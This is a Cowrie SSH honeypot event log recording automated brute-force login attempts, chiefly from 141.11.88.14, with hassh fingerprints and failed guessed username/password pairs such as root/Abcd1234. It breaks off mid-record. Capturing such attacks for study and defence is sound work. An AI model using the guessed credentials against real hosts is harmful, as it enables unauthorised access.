{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:31.444587Z","src_ip":"141.11.88.14","session":"ab6c4850085c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:31.556555Z","src_ip":"141.11.88.14","session":"ab6c4850085c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:32.180283Z","src_ip":"141.11.88.14","session":"ab6c4850085c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:32.947684Z","src_ip":"27.71.230.31","session":"9e3c52d0fcba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:33.567509Z","src_ip":"141.11.88.14","session":"ab6c4850085c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28790,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a0c4690d234","protocol":"ssh","message":"New connection: 141.11.88.14:28790 (10.17.0.5:22) [session: 9a0c4690d234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:38.146779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:38.181014Z","src_ip":"141.11.88.14","session":"9a0c4690d234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:38.291938Z","src_ip":"141.11.88.14","session":"9a0c4690d234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:38.644424Z","src_ip":"141.11.88.14","session":"9a0c4690d234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:39.758050Z","src_ip":"141.11.88.14","session":"9a0c4690d234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1010*","message":"login attempt [root/admin@1010*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:40.982541Z","src_ip":"27.71.230.31","session":"9e3c52d0fcba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:42.535433Z","src_ip":"27.71.230.31","session":"9e3c52d0fcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57430,"dst_ip":"10.17.0.5","dst_port":22,"session":"4039e3fadff1","protocol":"ssh","message":"New connection: 103.153.68.219:57430 (10.17.0.5:22) [session: 4039e3fadff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:44.706650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:44.711031Z","src_ip":"103.153.68.219","session":"4039e3fadff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:44.962436Z","src_ip":"103.153.68.219","session":"4039e3fadff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastya1993","message":"login attempt [root/nastya1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:45.730001Z","src_ip":"103.153.68.219","session":"4039e3fadff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e21755577c3b","protocol":"ssh","message":"New connection: 141.11.88.14:28820 (10.17.0.5:22) [session: e21755577c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:46.642401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:46.710249Z","src_ip":"141.11.88.14","session":"e21755577c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:46.801018Z","src_ip":"141.11.88.14","session":"e21755577c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:46.984312Z","src_ip":"103.153.68.219","session":"4039e3fadff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:47.110235Z","src_ip":"141.11.88.14","session":"e21755577c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:48.374688Z","src_ip":"141.11.88.14","session":"e21755577c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37038,"dst_ip":"10.17.0.5","dst_port":22,"session":"6df30eb939e5","protocol":"ssh","message":"New connection: 141.11.88.14:37038 (10.17.0.5:22) [session: 6df30eb939e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:53.726021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:53.970009Z","src_ip":"141.11.88.14","session":"6df30eb939e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:53.974785Z","src_ip":"141.11.88.14","session":"6df30eb939e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd","message":"login attempt [test/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:54.709944Z","src_ip":"141.11.88.14","session":"6df30eb939e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:17:55.897812Z","src_ip":"141.11.88.14","session":"6df30eb939e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57216,"dst_ip":"10.17.0.5","dst_port":22,"session":"da7ec8c95f64","protocol":"ssh","message":"New connection: 141.11.88.14:57216 (10.17.0.5:22) [session: da7ec8c95f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:00.693606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:00.791960Z","src_ip":"141.11.88.14","session":"da7ec8c95f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:00.809308Z","src_ip":"141.11.88.14","session":"da7ec8c95f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123456","message":"login attempt [botuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:01.896961Z","src_ip":"141.11.88.14","session":"da7ec8c95f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:02.995431Z","src_ip":"141.11.88.14","session":"da7ec8c95f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63884,"dst_ip":"10.17.0.5","dst_port":22,"session":"70de453a5c34","protocol":"ssh","message":"New connection: 141.11.88.14:63884 (10.17.0.5:22) [session: 70de453a5c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:09.554457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:09.559675Z","src_ip":"141.11.88.14","session":"70de453a5c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:09.652108Z","src_ip":"141.11.88.14","session":"70de453a5c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbs","password":"dbs","message":"login attempt [dbs/dbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:10.054279Z","src_ip":"141.11.88.14","session":"70de453a5c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:11.182106Z","src_ip":"141.11.88.14","session":"70de453a5c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63918,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70e2e55a9f6","protocol":"ssh","message":"New connection: 141.11.88.14:63918 (10.17.0.5:22) [session: c70e2e55a9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:16.336628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:18:16.731790Z","src_ip":"141.11.88.14","session":"c70e2e55a9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 